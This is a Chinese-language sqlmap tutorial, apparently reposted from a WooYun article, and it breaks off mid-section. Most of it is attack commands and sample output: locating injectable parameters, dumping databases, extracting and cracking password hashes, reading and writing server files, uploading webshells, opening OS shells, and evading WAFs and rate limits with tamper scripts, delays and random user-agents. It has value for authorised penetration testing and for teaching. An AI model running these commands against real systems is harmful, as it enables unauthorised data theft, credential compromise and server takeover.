text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
## 前言
一直没有找到关于sqlmap注入非常详细的知识点总结，最近在乌云里面发现一篇很好的文章关于sqlmap使用的方法
就搬运过来了，再加上一些其它文章的内容，总结而得到的本文。
希望各位大佬轻喷(QAQ)
本人博客：<http://www.cnblogs.com/miraitowa/>
#### 1：寻找注入点
**GET方式**
sqlmap -u "url" //这个URL必须含？
**POST方式**
sqlmap -u http://testasp.vulnweb.com/Login.asp --data "tfUName=1&tfUPass=1"
**cookie注入**
sqlmap -u "url" --cookie "chsadj" --level 2 //这里的URL去掉？及其后的内容，并将它们放在cookie的内容里面
**tamper方式**
sqlmap -u "url" -v 3 --batch --tamper "sac.py" //temper后面的插件可以去sql安装目录查找
**自动检测表**
sqlmap -u http://testasp.vulnweb.com/Login.asp --forms
**延时两秒**
Sqlmap –u “url” --delay 2
**频率3次**
Sqlmap –u “url” --safe-freq 3
**伪静态**
Sqlmap -u http://sfl.fzu.edu.cn/index.php/Index/view/id/40.html //在40后面加*
#### 查看数据库
sqlmap -u "url" --dbs //查看所有数据库
sqlmap -u "url" --users //查看所有用户
sqlmap -u "url" --current-db //查看当前的数据库
sqlmap -u "url" --current-user //产看当前的用户
sqlmap -u "url" --is-dba //查看是否是最高权限
sqlmap -u "url" --passwords //查看所有密码
sqlmap -u "url" –hostname //查看主机名
sqlmap -u "url" privileges -U username //查看用户权限
sqlmap -u "url" –roles //查看用户角色
**查看详细内容**
sqlmap -u "url" --tables -D "database" //database这个数据库的表数据表
sqlmap -u "url" --columns -T "tables" -D "database" //查看tables这个数据表的字段
sqlmap -u "url" --dump "a,b,c" -C "columns" -T "tables" -D "database" //下载内容，后面的-CTDabc都是对下载的数据库表段的约束如果不加就是下载所有
#### 执行特殊操作
**文件查看**
sqlmap -u "url" –file-read= //这个读取的文件会存在本地的结果目录，请认真看提示
**文件写入**
sqlmap -u "url" --file-write=本地文件路径 --file-dest=网站的绝对路径 //上传webshell用，需要dba权限
**命令执行**
sqlmap -u "url" --os-cmd "cmd" //执行cmd代表的命令，如cd C:/
sqlmap -u "url" --os-shell //进入数据库自带的shell
### 命令总览
使用`sqlmap -hh`可以查看详细的命令说明：
-r 1.txt 对于用post方法提交的，参数不在URL里面的网页，可以先截获数据，保存成文件再用这个参数执行
-l log.txt 可以将代理的日志作为目标去检测[见下图]
-m 1.txt 对于多个URL，可以一排一个写入文件后加载
--force-ssl 对于使用SSL的URL要在后面加上这个参数
--data 对于使用post方法，可以将参数写在data后面
--param-del=""
--cookie="" level 2 对于需要验证才能访问的URL，可以加上cookie值验证，如果要检测cookie是否有注入漏洞，level要高于1
--random-agent 使用随机的user-agent
--user-agent="" level 3 指定user-agent，如要检测它是否有漏洞level要高于2
--header="\n" 指定头信息，如User-Agent:dsacs，大小写敏感，多个用\n分隔
--method=GET POST 设置提交方式，默认一个一个的尝试
--auth-type 如果是基于http的验证，如Basic NTLM Digest，可直接加类型再配合下一个参数使用
--auth-cred "user:pass" 填写账号和密码
--proxy="http:127.0.0.1:8087" 使用代理
--proxy-cred="name:pass" 如果代理要密码的话
--ignore-proxy 强制不使用代理
--delay 请求延迟间隔，单位秒，默认无延迟
--retries 链接失败重试次数3
--timeout 链接超时时间30
--randomize="param" 使用和源参数类型长度一致的参数
sqlmap -l l.log --scope="(www)?\.target\.(com|net|org)" 这是一个正则表达式，是对于log文件里面URL过多时，进行筛选，这里是只要com/net/org结尾的域名
sqlmap -l 2.log --scope="(19)?\.168\.20\.(1|11|111)" 同上，筛选19*.168.20.1/11/111这几个网段的IP
--safe-url="url" 设置正确的URL，因为如果一直尝试错误的URL可能会被服务器拉黑，过几次登下正确的防止这个发生
--safe-freq 10 尝试的与正确的URL的交换频率
--skip-urlencode 有的URL在get方式提交时没编码，就要用这个
--eval=""php代码 这个后面可以跟PHP代码，能够执行
--keep-alive 保持连接会降低资源使用，但是不能与代理兼容
--predict-output 能够在找到一个信息后缩小检测的范围，不能与--threads兼容
--null-connection 只看返回文件的大小，不要他的内容与--text-only不兼容
--threads 最大并发数，默认1，最大不要超过10，盲注时一次返回一个字符【7次请求】
-o 使用除了--threads的全部的优化参数
-p 指定参数，使level失效
-skip 排除不扫描的参数
对于伪静态网页，就在参数后面加*
--dbms 接数据库管理系统，如MySQL
--os 接系统，如Linux
--invalid-bignum 使用大数作为假的值
--invalid-logical 使用逻辑数作为假的值
--no-cat 对于接收到的null不自动转换成空格
--no-escape 不使用逃逸，就是不把'转换成asii码形式
--prefix 在参数前指定前缀
--suffix 在参数后指定后缀
--level 设置检查的等级，默认为1，共5个，可以查看/usr/share/sqlmap/xml/payloads这个文件了解详细的信息
--risk 设置风险等级，默认是安全的检查，第四等可能会修改数据库内容
--string 当页面含有这个字符串时为真
--not-string 当页面不含这个字符串时为真
--regexp 用正则表达式判断
--code 当状态代码为*时为真
--text-only 页面含有*时为真
--titles 页面标题为*时为真
--techniques
B E U S T 使用什么检查技术，默认所有，这里分别是基于布尔的盲注，基于错误的判断，联合查询，堆积，基于时间的查询
--time-sec
--union-cols 联合查询第几列到第几列
--union-char 用select null,1:2 这种，可能会出错，就讲这个null换成其他数字占位
--second-order 当注入后在第二个页面显示错误信息，这里就接上显示错误信息的地方
-fingerprint 指纹信息
--banner 版本信息
--batch 按照软件默认设置，自动回答
--count 计数
-s 将这个会话保存下次继续
-t 将这些数据保存
--charset 强制设置数据库编码
--crawl 设置蜘蛛爬行的深度
--csv-del 设置下载的数据的分隔方式，默认是,
--dbms-cred 设置数据库用户
--flush-session 清空以前的会话数据
--fresh-queries 不清空会话，重新查询
--hex 一16进制编码的方式传输数据
--output-dir 会话输出文件夹
--parse-errors 显示MySQL错误信息
--save 保存当前配置为文件
-z 特别的助记方式，后面接的只要是独一无二的企鹅存在的就可以用，如user-agent可以用ueraet.
--answers 这个可以对一些特定的问题作出回答，在自动化注入中用
--check-waf 检查是否含有waf等
--identify-waf 彻底的检查waf等的信息
--smart 当有大量目标时，这个就只检查基于错误的注入点
--mobile 模拟智能手机去扫描
--wizard 向导模式
--purge-out 清除输出内容
使用`-l`参数时，这样设置`burpsuite`：
### 注入判断
当给`sqlmap`这么一个`url`的时候，它会：
1. 判断可注入的参数
2. 判断可以用那种SQL注入技术来注入
3. 识别出哪种数据库
4. 根据用户选择，读取哪些数据
`sqlmap`支持五种不同的注入模式：
1. 基于布尔的盲注，即可以根据返回页面判断条件（真\|假）的注入。
2. 基于时间的盲注，即不能根据页面返回内容判断任何信息，用条件语句查看时间延迟语句是否执行（即页面返回时间是否增加）来判断。
3. 基于报错注入，即页面会返回错误信息，或者把注入的语句的结果直接返回在页面中。
4. 联合查询注入，可以使用union的情况下的注入。
5. 堆查询注入，可以同时执行多条语句的执行时的注入。（使用;分隔开多条语句，最为灵活，可以自己构造select（含）外的其他语句）
`sqlmap`支持的数据库管理系统有：
MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2,
SQLite, Firebird, Sybase和SAP MaxDB
可以提供一个简单的`URL，Burp`或`WebScarab`请求日志文件，文本文档中的完整`http`请求或者`Google`的搜索，匹配出结果页面，
也可以自己定义一个正则来判断那个地址去测试。
测试`GET`参数，`POST`参数，`HTTP Cookie`参数，`HTTP User-Agent`头和`HTTP
Referer`头来确认是否有`SQL`注入，
它也可以指定用逗号分隔的列表的具体参数来测试。可以设定`HTTP(S)`请求的并发数，来提高盲注时的效率。
#### 用来连接数据库
这是一个比较实用的功能，用来连接数据库格式为
#### 设置显示信息的详细度：
使用`-v`参数，共有`七`个等级：
0. 只显示python错误以及严重的信息。
1. 同时显示基本信息和警告信息。（默认）
2. 同时显示debug信息。
3. 同时显示注入的payload。
4. 同时显示HTTP请求。
5. 同时显示HTTP响应头。
6. 同时显示HTTP响应页面。
可以通过学习`sqlmap`的`payload`来学习`sql`注入，这时需要使用3级。
#### 获取目标方式
**目标URL**
参数：`-u`或者`–url`
格式：`http(s)://targeturl[:port]/[…]`
例如：`python sqlmap.py -u "http://www.target.com/vuln.php?id=1" -f --banner
--dbs --users`
从`Burp`或者`WebScarab`代理中获取日志
参数：`-l`
可以直接吧`Burp proxy`或者`WebScarab proxy`中的日志直接倒出来交给`sqlmap`来一个一个检测是否有注入。
**从文本中获取多个目标扫描**
参数：`-m`
文件中保存`url`格式如下，`sqlmap`会一个一个检测
www.target1.com/vuln1.php?q=foobar
www.target2.com/vuln2.asp?id=1
www.target3.com/vuln3/id/1*
**从文件中加载HTTP请求**
参数：`-r`
`sqlmap`可以从一个文本文件中获取`HTTP`请求，这样就可以跳过设置一些其他参数（比如`cookie，POST`数据，等等）。
比如文本文件内如下：
POST /vuln.php HTTP/1.1
Host: www.target.com
User-Agent: Mozilla/4.0
id=1
当请求是HTTPS的时候你需要配合这个`–force-ssl`参数来使用，或者你可以在Host头后面加上:`443`
**处理Google的搜索结果**
参数：`-g`
`sqlmap`可以测试注入`Google`的搜索结果中的`GET`参数（只获取前`100`个结果）。
例子：
python sqlmap.py -g "inurl:\".php?id=1\""
此外可以使用-c参数加载sqlmap.conf文件里面的相关配置。
#### 请求
**http数据**
参数：`–data`
此参数是把数据以`POST`方式提交，`sqlmap`会像检测GET参数一样检测`POST`的参数。
例子：
python sqlmap.py -u "http://www.target.com/vuln.php" --data="id=1" -f --banner --dbs --users
**参数拆分字符**
参数：`–param-del`
当`GET`或`POST`的数据需要用其他字符分割测试参数的时候需要用到此参数（默认是&）。
例子：
python sqlmap.py -u "http://www.target.com/vuln.php" --data="query=foobar;id=1"
--param-del=";" -f --banner --dbs --users
**HTTP cookie头**
参数：`–cookie,–load-cookies,–drop-set-cookie`
这个参数在以下两个方面很有用：
1. web应用需要登陆的时候。
2. 你想要在这些头参数中测试SQL注入时。
可以通过抓包把`cookie`获取到，复制出来，然后加到`–cookie`参数里。
在`HTTP`请求中，遇到`Set-Cookie`的话，`sqlmap`会自动获取并且在以后的请求中加入，并且会尝试`SQL`注入。
如果你不想接受`Set-Cookie`可以使用`–drop-set-cookie`参数来拒接。
当你使用`–cookie`参数时，当返回一个`Set-Cookie`头的时候，`sqlmap`会询问你用哪个`cookie`来继续接下来的请求。
当`–level`的参数设定为2或者2以上的时候，`sqlmap`会尝试注入`Cookie`参数。
**HTTP User-Agent头**
参数：`–user-agent,–random-agent`
默认情况下`sqlmap`的`HTTP`请求头中`User-Agen`t值是：
sqlmap/1.0-dev-xxxxxxx (http://sqlmap.org)
（这可能直接会被过滤掉或是触发警报，可以使用真实浏览器的`useragent`，百度一下就有了）
可以使用`–user-anget`参数来修改，同时也可以使用`–random-agnet`参数来随机的从`./txt/user-agents.txt`中获取。
当`–level`参数设定为3或者3以上的时候，会尝试对`User-Angent`进行注入。
**HTTP Referer头**
参数：`–referer`
`sqlmap`可以在请求中伪造HTTP中的`referer`，当`–level`参数设定为3或者3以上的时候会尝试对referer注入。
**额外的HTTP头**
参数：`–headers`
可以通过`–headers`参数来增加额外的http头
**HTTP认证保护**
参数：`–auth-type,–auth-cred`
这些参数可以用来登陆HTTP的认证保护支持三种方式：
1. Basic
2. Digest
3. NTLM
例子：
python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/basic/get_int.php?id=1"
--auth-type Basic --auth-cred "testuser:testpass"
**HTTP协议的证书认证**
参数：`–auth-cert`
当Web服务器需要客户端证书进行身份验证时，需要提供两个文件:`key_file，cert_file`。
`key_file`是格式为PEM文件，包含着你的私钥，`cert_file`是格式为`PEM`的连接文件。
**HTTP(S)代理**
参数：`–proxy,–proxy-cred`和`–ignore-proxy`
使用`–proxy`代理是格式为：`http://url:port。`
当`HTTP(S)`代理需要认证是可以使用`–proxy-cred`参数：`username:password`。
`–ignore-proxy`拒绝使用本地局域网的`HTTP(S)`代理。
**HTTP请求延迟**
参数：`–delay`
可以设定两个`HTTP(S)`请求间的延迟，设定为0.5的时候是半秒，默认是没有延迟的。
**设定超时时间**
参数：`–timeout`
可以设定一个`HTTP(S)`请求超过多久判定为超时，`10.5`表示`10.5`秒，默认是`30`秒。
**设定重试超时**
参数：`–retries`
当`HTTP(S)`超时时，可以设定重新尝试连接次数，默认是3次。
**设定随机改变的参数值**
参数：`–randomize`
可以设定某一个参数值在每一次请求中随机的变化，长度和类型会与提供的初始值一样。
利用正则过滤目标网址
参数：`**–scope**`
例如：
python sqlmap.py -l burp.log --scope="(www)?\.target\.(com\|net\|org)"
**避免过多的错误请求被屏蔽**
参数：`–safe-url,–safe-freq`
有的web应用程序会在你多次访问错误的请求时屏蔽掉你以后的所有请求，这样在sqlmap进行探测或者注入的时候可能造成错误请求而触发这个策略，导致以后无法进行。
**绕过这个策略有两种方式：**
1. `--safe-url`：提供一个安全不错误的连接，每隔一段时间都会去访问一下。
2. `--safe-freq`：提供一个安全不错误的连接，一段频率后会访问一次。
**关掉URL参数值编码**
参数：`–skip-urlencode`
根据参数位置，他的值默认将会被URL编码，但是有些时候后端的web服务器不遵守RFC标准，只接受不经过`URL`编码的值，这时候就需要用`–skip-urlencode`参数。
**每次请求时候执行自定义的python代码**
参数：`–eval`
在有些时候，需要根据某个参数的变化，而修改另个一参数，才能形成正常的请求，这时可以用–eval参数在每次请求时根据所写python代码做完修改后请求。
例子：
python sqlmap.py -u
"http://www.target.com/vuln.php?id=1&hash=c4ca4238a0b923820dcc509a6f75849b"
--eval="import hashlib;hash=hashlib.md5(id).hexdigest()"
上面的请求就是每次请求时根据id参数值，做一次`md5`后作为`hash`参数的值。
#### 注入
**测试参数**
参数：`-p`
如： `-p “id,user-anget”`
**指定要跳过测试的参数**
参数：`–skip`
如：`–skip=”user-angent.referer”`
对于伪静态链接，可以在想测试的参数后面加*，它会测试那个指定的参数
例如：
python sqlmap.py -u "http://targeturl/param1/value1\*/param2/value2/"
**指定数据库**
参数：`–dbms`
不指定会自动探测，如果知道最好指定
MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft
Access、SQLite、Firebird、Sybase、SAP MaxDB、DB2
**指定服务器系统**
参数：`–os`
不指定会自动探测，支持的有：`Linux、Windows`。
**指定无效的大数字**
参数：`–invalid-bignum`
当你想指定一个报错的数值时，可以使用这个参数，例如默认情况系`id=13，sqlmap`会变成`id=-13`来报错，你可以指定比如`id=9999999`来报错。
**指定无效的逻辑**
参数：`–invalid-logical`
原因同上，可以指定`id=13`把原来的`id=-13`的报错改成`id=13 AND 18=19`。
**注入payload**
参数：`–prefix,–suffix`
在有些环境中，需要在注入的`payload`的前面或者后面加一些字符，来保证`payload`的正常执行。
例如，代码中是这样调用数据库的：
$query = "SELECT * FROM users WHERE id=(’" . $_GET[’id’] . "’) LIMIT 0, 1";
这时你就需要`–prefix`和`–suffix`参数了：
python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_str_brackets.php?id=1" -p id --prefix
"’)" --suffix "AND (’abc’=’abc"
这样执行的SQL语句变成：
$query = "SELECT * FROM users WHERE id=(’1’) <PAYLOAD> AND (’abc’=’abc’)
LIMIT 0, 1";
**修改注入的数据**
参数：`–tamper`
`sqlmap`除了使用`CHAR()`函数来防止出现单引号之外没有对注入的数据修改，你可以使用`–tamper`参数对数据做修改来绕过WAF等设备。
下面是一个`tamper`脚本的格式：
# Needed imports
from lib.core.enums import PRIORITY
# Define which is the order of application of tamper scripts against
# the payload
__priority__ = PRIORITY.NORMAL
def tamper(payload):
'''
Description of your tamper script
'''
retVal = payload
# your code to tamper the original payload
# return the tampered payload
return retVal
可以查看 `tamper/` 目录下的有哪些可用的脚本
例如：
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3
[hh:mm:03] [DEBUG] cleaning up configuration parameters
[hh:mm:03] [INFO] loading tamper script 'between'
[hh:mm:03] [INFO] loading tamper script 'randomcase'
[hh:mm:03] [INFO] loading tamper script 'space2comment'
[...]
[hh:mm:04] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[hh:mm:04] [PAYLOAD] 1)/**/And/**/1369=7706/**/And/**/(4092=4092
[hh:mm:04] [PAYLOAD] 1)/**/AND/**/9267=9267/**/AND/**/(4057=4057
[hh:mm:04] [PAYLOAD] 1/**/AnD/**/950=7041
[...]
[hh:mm:04] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[hh:mm:04] [PAYLOAD] 1/**/anD/**/(SELeCt/**/9921/**/fROm(SELeCt/**/counT(*),CONCAT(cHar(
58,117,113,107,58),(SELeCt/**/(case/**/whEN/**/(9921=9921)/**/THeN/**/1/**/elsE/**/0/**/
ENd)),cHar(58,106,104,104,58),FLOOR(RanD(0)*2))x/**/fROm/**/information_schema.tables/**/
group/**/bY/**/x)a)
[hh:mm:04] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE or HAVING
clause' injectable
[...]
#### 探测
**探测等级**
参数：`–level`
共有五个等级，默认为`1，sqlmap`使用的`payload`可以在`xml/payloads.xml`中看到，你也可以根据相应的格式添加自己的`payload`。
这个参数不仅影响使用哪些`payload`同时也会影响测试的注入点，`GET`和`POST`的数据都会测试，`HTTP
Cookie`在`level`为2的时候
就会测试，`HTTP User-Agent/Referer`头在`level`为3的时候就会测试。
总之在你不确定哪个`payload`或者参数为注入点的时候，为了保证全面性，建议使用高的`level`值。
**风险等级**
参数：`–risk`
共有四个风险等级，默认是1会测试大部分的测试语句，2会增加基于事件的测试语句，3会增加OR语句的SQL注入测试。
在有些时候，例如在UPDATE的语句中，注入一个OR的测试语句，可能导致更新的整个表，可能造成很大的风险。
测试的语句同样可以在`xml/payloads.xml`中找到，你也可以自行添加`payload`。
**页面比较**
参数：`–string,–not-string,–regexp,–code`
默认情况下sqlmap通过判断返回页面的不同来判断真假，但有时候这会产生误差，因为有的页面在每次刷新的时候都会返回不同的代码，
比如页面当中包含一个动态的广告或者其他内容，这会导致sqlmap的误判。此时用户可以提供一个字符串或者一段正则匹配，
在原始页面与真条件下的页面都存在的字符串，而错误页面中不存在（使用–string参数添加字符串，–regexp添加正则），
同时用户可以提供一段字符串在原始页面与真条件下的页面都不存在的字符串，而错误页面中存在的字符串（–not-string添加）。
用户也可以提供真与假条件返回的HTTP状态码不一样来注入，例如，响应200的时候为真，响应401的时候为假，可以添加参数–code=200。
参数：`–text-only,–titles`
有些时候用户知道真条件下的返回页面与假条件下返回页面是不同位置在哪里可以使用–text-only（HTTP响应体中不同）–titles（HTML的title标签中不同）。
#### 注入技术
**测试是否是注入**
参数：`–technique`
这个参数可以指定`sqlmap`使用的探测技术，默认情况下会测试所有的方式。
支持的探测方式如下：
B: Boolean-based blind SQL injection（布尔型注入）
E: Error-based SQL injection（报错型注入）
U: UNION query SQL injection（可联合查询注入）
S: Stacked queries SQL injection（可多语句查询注入）
T: Time-based blind SQL injection（基于时间延迟注入）
**设定延迟注入的时间**
参数：`–time-sec`
当使用继续时间的盲注时，时刻使用`–time-sec`参数设定延时时间，默认是5秒。
**设定UNION查询字段数**
参数：`–union-cols`
默认情况下sqlmap测试UNION查询注入会测试1-10个字段数，当–level为5的时候他会增加测试到50个字段数。
设定`–union-cols`的值应该是一段整数，如：12-16，是测试12-16个字段数。
**设定UNION查询使用的字符**
参数：`–union-char`
默认情况下`sqlmap`针对`UNION`查询的注入会使用NULL字符，但是有些情况下会造成页面返回失败，而一个随机整数是成功的，
这是你可以用`–union-char`只定UNION查询的字符。
**二阶SQL注入**
参数：`–second-order`
有些时候注入点输入的数据看返回结果的时候并不是当前的页面，而是另外的一个页面，这时候就需要你指定到哪个页面获取响应判断真假。
`–second-order`后面跟一个判断页面的URL地址。
**列数据**
参数：`-b,–banner`
大多数的数据库系统都有一个函数可以返回数据库的版本号，通常这个函数是version()或者变量@@version这主要取决与是什么数据库。
**用户**
参数：`-current-user`
在大多数据库中可以获取到管理数据的用户。
**当前数据库**
参数：`–current-db`
返还当前连接的数据库。
**当前用户是否为管理用**
参数：`–is-dba`
判断当前的用户是否为管理，是的话会返回True。
**列数据库管理用户**
参数：`–users`
当前用户有权限读取包含所有用户的表的权限时，就可以列出所有管理用户。
**列出并破解数据库用户的hash**
参数：`–passwords`
当前用户有权限读取包含用户密码的彪的权限时，sqlmap会现列举出用户，然后列出hash，并尝试破解。
$ python sqlmap.py -u "http://********/sqlmap/pgsql/get_int.php?id=1" --passwords -v 1
[...]
back-end DBMS: PostgreSQL
[hh:mm:38] [INFO] fetching database users password hashes
do you want to use dictionary attack on retrieved password hashes? [Y/n/q] y
[hh:mm:42] [INFO] using hash method: 'postgres_passwd'
what's the dictionary's location? [/software/sqlmap/txt/wordlist.txt]
[hh:mm:46] [INFO] loading dictionary from: '/software/sqlmap/txt/wordlist.txt'
do you want to use common password suffixes? (slow!) [y/N] n
[hh:mm:48] [INFO] starting dictionary attack (postgres_passwd)
[hh:mm:49] [INFO] found: 'testpass' for user: 'testuser'
[hh:mm:50] [INFO] found: 'testpass' for user: 'postgres'
database management system users password hashes:
[*] postgres [1]:
password hash: md5d7d880f96044b72d0bba108ace96d1e4
clear-text password: testpass
[*] testuser [1]:
password hash: md599e5ea7a6f7c3269995cba3927fd0093
clear-text password: testpass
可以看到sqlmap不仅勒出数据库的用户跟密码，同时也识别出是PostgreSQL数据库，并询问用户是否采用字典爆破的方式进行破解，
这个爆破已经支持`Oracle`和`Microsoft SQL Server`。
也可以提供-U参数来指定爆破哪个用户的`hash`。
**列出数据库管理员权限**
参数：`–privileges`
当前用户有权限读取包含所有用户的表的权限时，很可能列举出每个用户的权限，sqlmap将会告诉你哪个是数据库的超级管理员。
也可以用-U参数指定你想看哪个用户的权限。
**列出数据库管理员角色**
参数：`–roles`
当前用户有权限读取包含所有用户的表的权限时，很可能列举出每个用户的角色，也可以用-U参数指定你想看哪个用户的角色。
仅适用于当前数据库是`Oracle`的时候。
**列出数据库系统的数据库**
参数：`–dbs`
当前用户有权限读取包含所有数据库列表信息的表中的时候，即可列出所有的数据库。
**列举数据库表**
参数：`–tables,–exclude-sysdbs,-D`
当前用户有权限读取包含所有数据库表信息的表中的时候，即可列出一个特定数据的所有表。
sqlmap -u "http://192.168.163.138/mutillidae/index.php?page=user-info.php&username=111&password=12123&user-info-php-submit-button=View+Account+Details"
--tables -D dvwa
如果你不提供-D参数来列指定的一个数据的时候，sqlmap会列出数据库所有库的所有表。
–exclude-sysdbs参数是指包含了所有的系统数据库。
需要注意的是在Oracle中你需要提供的是TABLESPACE_NAME而不是数据库名称。
**列举数据库表中的字段**
参数：`–columns,-C,-T,-D`
当前用户有权限读取包含所有数据库表信息的表中的时候，即可列出指定数据库表中的字段，同时也会列出字段的数据类型。
如果没有使用-D参数指定数据库时，默认会使用当前数据库。
$ python sqlmap.py -u "http://*******/sqlmap/sqlite/get_int.php?id=1" --columns -D testdb -T users -C name
[...]
Database: SQLite_masterdb
Table: users
[3 columns]
+---------+---------+
| Column | Type|
+---------+---------+
| id | INTEGER |
| name| TEXT|
| surname | TEXT|
+---------+---------+
**列举数据库系统的架构**
参数：`–schema,–exclude-sysdbs`
用户可以用此参数获取数据库的架构，包含所有的数据库，表和字段，以及各自的类型。
加上`–exclude-sysdbs`参数，将不会获取数据库自带的系统库内容。
MySQL例子：
$ python sqlmap.py -u "http://*******/sqlmap/mysql/get_int.php?id=1" --schema --batch --exclude-sysdbs
[...]
Database: owasp10
Table: accounts
[4 columns]
+-------------+---------+
| Column | Type|
+-------------+---------+
| cid | int(11) |
| mysignature | text|
| password| text|
| username| text|
+-------------+---------+
Database: owasp10
Table: blogs_table
[4 columns]
+--------------+----------+
| Column | Type |
+--------------+----------+
| date | datetime |
| blogger_name | text |
| cid | int(11) |
| comment | text |
+--------------+----------+
Database: owasp10
Table: hitlog
[6 columns]
+----------+----------+
| Column | Type |
+----------+----------+
| date | datetime |
| browser | text |
| cid | int(11) |
| hostname | text |
| ip | text |
| referer | text |
+----------+----------+
Database: testdb
Table: users
[3 columns]
+---------+---------------+
| Column | Type |
+---------+---------------+
| id | int(11) |
| name| varchar(500) |
| surname | varchar(1000) |
+---------+---------------+
[...]
**获取表中数据个数**
参数：`–count`
有时候用户只想获取表中的数据个数而不是具体的内容，那么就可以使用这个参数。
列举一个`Microsoft SQL Server`例子：
$ python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1" --count -D testdb
[...]
Database: testdb
+----------------+---------+
| Table | Entries |
+----------------+---------+
| dbo.users | 4 |
| dbo.users_blob | 2 |
+----------------+---------+
**获取整个表的数据**
参数：`–dump,-C,-T,-D,–start,–stop,–first,–last`
如果当前管理员有权限读取数据库其中的一个表的话，那么就能获取真个表的所有内容。
使用`-D,-T`参数指定想要获取哪个库的哪个表，不使用-D参数时，默认使用当前库。
列举一个`Firebird`的例子：
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/firebird/get_int.php?id=1" --dump -T users
[...]
Database: Firebird_masterdb
Table: USERS
[4 entries]
+----+--------+------------+
| ID | NAME | SURNAME|
+----+--------+------------+
| 1 | luther | blisset|
| 2 | fluffy | bunny |
| 3 | wu | ming |
| 4 | NULL | nameisnull |
+----+--------+------------+
可以获取指定库中的所有表的内容，只用`-dump`跟`-D`参数（不使用-T与-C参数）。
也可以用-dump跟-C获取指定的字段内容。
sqlmap为每个表生成了一个CSV文件。
如果你只想获取一段数据，可以使用–start和–stop参数，例如，你只想获取第一段数据可hi使用–stop
1，如果想获取第二段与第三段数据，使用参数 –start 1 –stop 3。
也可以用`–first与–last`参数，获取第几个字符到第几个字符的内容，如果你想获取字段中地三个字符到第五个字符的内容，使用–first
3:–last
4:只在盲注的时候使用，因为其他方式可以准确的获取注入内容，不需要一个字符一个字符的猜解。
**获取所有数据库表的内容**
参数：`–dump-all,–exclude-sysdbs`
使用`–dump-all`参数获取所有数据库表的内容，可同时加上`–exclude-sysdbs`只获取用户数据库的表，
需要注意在`Microsoft SQL`
`Server`中`master`数据库没有考虑成为一个系统数据库，因为有的管理员会把他当初用户数据库一样来使用它。
**搜索字段，表，数据库**
参数：`–search,-C,-T,-D`
`–search`可以用来寻找特定的数据库名，所有数据库中的特定表名，所有数据库表中的特定字段。
可以在一下三种情况下使用：
-C后跟着用逗号分割的列名，将会在所有数据库表中搜索指定的列名。
-T后跟着用逗号分割的表名，将会在所有数据库中搜索指定的表名
-D后跟着用逗号分割的库名，将会在所有数据库中搜索指定的库名。
**运行自定义的SQL语句**
参数：`–sql-query,–sql-shell`
`sqlmap`会自动检测确定使用哪种SQL注入技术，如何插入检索语句。
如果是`SELECT`查询语句，`sqlap`将会输出结果。如果是通过SQL注入执行其他语句，需要测试是否支持多语句执行SQL语句。
列举一个`Mircrosoft SQL Server 2000`的例子：
$ python sqlmap.py -u "http://**********/sqlmap/mssql/get_int.php?id=1"
--sql-query "SELECT 'foo'" -v 1
[...]
[hh:mm:14] [INFO] fetching SQL SELECT query output: 'SELECT 'foo''
[hh:mm:14] [INFO] retrieved: foo
SELECT 'foo': 'foo'
\$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1"
--sql-query "SELECT 'foo', 'bar'" -v 2
[...]
[hh:mm:50] [INFO] fetching SQL SELECT query output: 'SELECT 'foo', 'bar''
[hh:mm:50] [INFO] the SQL query provided has more than a field. sqlmap will now
unpack it into
distinct queries to be able to retrieve the output even if we are going blind
[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS
VARCHAR(8000)),
(CHAR(32)))
[hh:mm:50] [INFO] retrieved: foo
[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds
[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(98)+CHAR(97)+CHAR(114)) AS
VARCHAR(8000)),
(CHAR(32)))
[hh:mm:50] [INFO] retrieved: bar
[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds
SELECT 'foo', 'bar': 'foo, bar'
#### 爆破
**暴力破解表名**
参数：`–common-tables`
当使用`–tables`无法获取到数据库的表时，可以使用此参数。
通常是如下情况：
1. `MySQL`数据库版本小于5.0，没有`information_schema`表。
2. 数据库是`Microssoft Access`，系统表`MSysObjects`是不可读的（默认）。
3. 当前用户没有权限读取系统中保存数据结构的表的权限。
暴力破解的表在`txt/common-tables.txt`文件中，你可以自己添加。
列举一个MySQL 4.1的例子：
$ python sqlmap.py -u "http://192.168.136.129/mysql/get_int_4.php?id=1" --common-tables -D testdb --banner
[...]
[hh:mm:39] [INFO] testing MySQL
[hh:mm:39] [INFO] confirming MySQL
[hh:mm:40] [INFO] the back-end DBMS is MySQL
[hh:mm:40] [INFO] fetching banner
web server operating system: Windows
web application technology: PHP 5.3.1, Apache 2.2.14
back-end DBMS operating system: Windows
back-end DBMS: MySQL < 5.0.0
banner:'4.1.21-community-nt'
[hh:mm:40] [INFO] checking table existence using items from '/software/sqlmap/txt/common-tables.txt'
[hh:mm:40] [INFO] adding words used on web page to the check list
please enter number of threads? [Enter for 1 (current)] 8
[hh:mm:43] [INFO] retrieved: users
Database: testdb
[1 table]
+-------+
| users |
+-------+
**暴力破解列名**
参数：`–common-columns`
与暴力破解表名一样，暴力跑的列名在`txt/common-columns.txt`中。
可以选择多线程来尝试破解。
#### 针对过滤空格的：
**1:space2dash.py**
作用：用”– 随机字符串%0A” 替换原来的空格
示例：
'1 AND 9227=9227'
'1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227'
原理是–n是注释，后面内容不生效，%0A为换行符，这样就可以不使用空格分隔了。
在以下版本做过测试:
MSSQL
SQLite
**2:space2hash.py**
作用：空格替换为#号 随机字符串 以及换行符
示例：
1 AND 9227=9227
2 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227
版本要求:
